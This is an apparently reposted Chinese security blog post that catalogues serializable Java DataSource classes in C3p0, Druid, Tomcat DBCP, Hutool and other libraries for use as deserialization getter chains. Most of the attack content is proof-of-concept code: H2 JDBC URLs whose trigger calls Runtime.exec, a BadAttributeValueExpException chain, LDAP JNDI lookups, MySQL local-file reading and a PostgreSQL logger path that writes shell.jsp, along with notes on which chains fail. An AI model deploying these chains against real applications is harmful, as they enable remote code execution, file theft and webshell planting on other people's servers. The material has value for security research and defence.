文章总结: 文章梳理了可触发RCE的DataSourcegetter链,给出C3p0、Druid、Hibernate、WebLogic、Tomcat、Hutool等库中同时实现DataSource与Serializable的类清单,演示DruidXADataSource与DriverAdapterCPDS配合H2触发calc的完整POC,并补充LDAP、SignedObject、MySQL、Oracle、PostgreSQL等利用场景,指出ComboPooledDataSource会无限重连导致DoS,Druid系列与fastjson版本兼容性限制及若干因提前校验而无法使用的getter,为反序列化利用提供可直接套用的攻击路径与避坑指南。 综合评分: 88 文章分类: 漏洞分析,代码审计,WEB安全,红队,漏洞POC
最近跟jdbc有关的新知识——getter篇
原创
珂字辈
珂技知识分享
2026年1月7日 12:05 湖北
最近跟jdbc有关的新知识——toString篇
最近跟jdbc有关的新知识——json篇
最近跟jdbc有关的新知识——ldap篇
除了TemplatesImpl哪些getter可以造成危害,我之前的文章提到过很多了,其中DataSource.getConnection()+H2是比较常用的RCE手段。所以主要是找DataSource类,以下是我收集的一些同时实现DataSource和Serializable的类,可以用来转jdbc。
C3p0依赖
com.mchange.v2.c3p0.DriverManagerDataSource com.mchange.v1.db.sql.DriverManagerDataSourcecom.mchange.v2.c3p0.test.FreezableDriverManagerDataSourcecom.mchange.v2.c3p0.ComboPooledDataSource
更多见
https://forum.butian.net/share/4268
mchange-commons-java依赖
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized
Druid依赖
com.alibaba.druid.pool.xa.DruidXADataSourcecom.alibaba.druid.pool.DruidDataSource
hibernate-core-4.x依赖
org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl
weblogic/oracle依赖
oracle.ucp.jdbc.PoolDataSourceImpl
tomcat依赖
org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDSorg.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDSorg.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS
hutool依赖
cn.hutool.db.ds.pooled.PooledDSFactorycn.hutool.db.ds.simple.SimpleDSFactorycn.hutool.db.ds.c3p0.C3p0DSFactorycn.hutool.db.ds.dbcp.DbcpDSFactorycn.hutool.db.ds.druid.DruidDSFactorycn.hutool.db.ds.hikari.HikariDSFactorycn.hutool.db.ds.jndi.JndiDSFactorycn.hutool.db.ds.tomcat.TomcatDSFactory
其中ComboPooledDataSource/C3p0DSFactory会无限尝试连接,可能导致拒绝服务,慎用。
DruidXADataSource无法跟fastjson配合,getter顺序有问题,会先进入DruidAbstractDataSource.getCompositeData报空指针,而dataSourceStat没实现序列化。只能参与fastjson2/jackson链。
同理DruidDataSource无法跟fastjson/fastjson2配合,只能参与jackson链。
以DruidXADataSource和DriverAdapterCPDS为例。
DruidXADataSource ds = new DruidXADataSource(); ds.setDriverClassName("org.h2.Driver"); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('calc')\n" + "$$\n"; ds.setUrl(JDBC_URL); ds.setStatLogger(null); ds.setLogWriter(null); Reflections.setFieldValue(ds, "transactionHistogram", null); Reflections.setFieldValue(ds, "initedLatch", null); ds.setInitialSize(2);
JSONArray jsonArray = new JSONArray(); jsonArray.add(ds); //jsonArray.toString();
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Reflections.setFieldValue(bd,"val",jsonArray);
DriverAdapterCPDS dac = new DriverAdapterCPDS(); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('calc')\n" + "$$\n"; dac.setUrl(JDBC_URL); dac.setDriver("org.h2.Driver"); InstanceKeyDataSource dbs = new SharedPoolDataSource(); //dbs = new PerUserPoolDataSource(); dbs.setConnectionPoolDataSource(dac); //dbs.getConnection();
除此之外,其他常用的存在一定危害的getter如下。
Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class}); ctor.setAccessible(true); javax.naming.directory.Attribute obj = (javax.naming.directory.Attribute) ctor.newInstance("id"); Reflections.setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:1389"); Reflections.setFieldValue(obj, "rdn", new CompositeName("exp")); //obj.getAttributeDefinition();
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(queue,kp.getPrivate(), java.security.Signature.getInstance("DSA")); //signedObject.getObject();
MysqlDataSource mds = new MysqlDataSource(); //mds = new MysqlConnectionPoolDataSource(); mds.setUrl("jdbc:mysql://127.0.0.1:3307/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360"); mds.setPassword("123456"); mds.setUser("win_ini"); //mds.getConnection();
oracle.jdbc.datasource.impl.OracleDataSource ods = new oracle.jdbc.datasource.impl.OracleDataSource(); ods.setURL("jdbc:oracle:thin:@//127.0.0.1:1521/orcl"); ods.setUser("system"); ods.setPassword("123456"); //ods.getConnection();
InstanceKeyDataSource dbs = new SharedPoolDataSource(); //dbs = new PerUserPoolDataSource(); dbs.setDataSourceName("ldap://127.0.0.1:1389/test"); //dbs.getConnection();
PGConnectionPoolDataSource ods = new PGConnectionPoolDataSource(); ods.setURL("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp"); ods.setUser("root"); ods.setPassword("123456"); //ods.getConnection();
PGSimpleDataSource ods = new PGSimpleDataSource(); ods.setURL("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp"); ods.setUser("root"); ods.setPassword("123456"); //ods.getConnection();
一些没法用的getter
提前触发其他getter进入checkState()校验导致抛错。
com.sun.rowset.JdbcRowSetImpl obj = new JdbcRowSetImpl(); obj.setDataSourceName("ldap://127.0.0.1:1389/exp"); //obj.getDatabaseMetaData();
JdbcDataSource的父类TraceObject未实现反序列化,debugCodeCall(“getConnection”)会报空指针。
JdbcDataSource jds = new JdbcDataSource(); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('calc')\n" + "$$\n"; jds.setUrl(JDBC_URL);
提前进入getCursorName()抛错。
oracle.jdbc.rowset.OracleCachedRowSet obj = new OracleCachedRowSet(); obj.setDataSourceName("ldap://127.0.0.1:1389/exp"); //obj.getConnection();
提前进入getParentLogger(),但没实现这个方法导致抛错。
DriverAdapterCPDS dbs = new DriverAdapterCPDS(); dbs.setUrl("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp"); dbs.setDriver("org.postgresql.Driver"); dbs.setUser("root"); dbs.setPassword("123456"); //dbs.getPooledConnection();
UnpooledDataSource未实现反序列化
org.apache.ibatis.datasource.unpooled.UnpooledDataSource ds = new UnpooledDataSource(); ds.setDriver("org.h2.Driver"); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('calc')\n" + "$$\n"; ds.setUrl(JDBC_URL); //ds.getConnection();
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:珂技知识分享 珂字辈《最近跟jdbc有关的新知识——getter篇》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论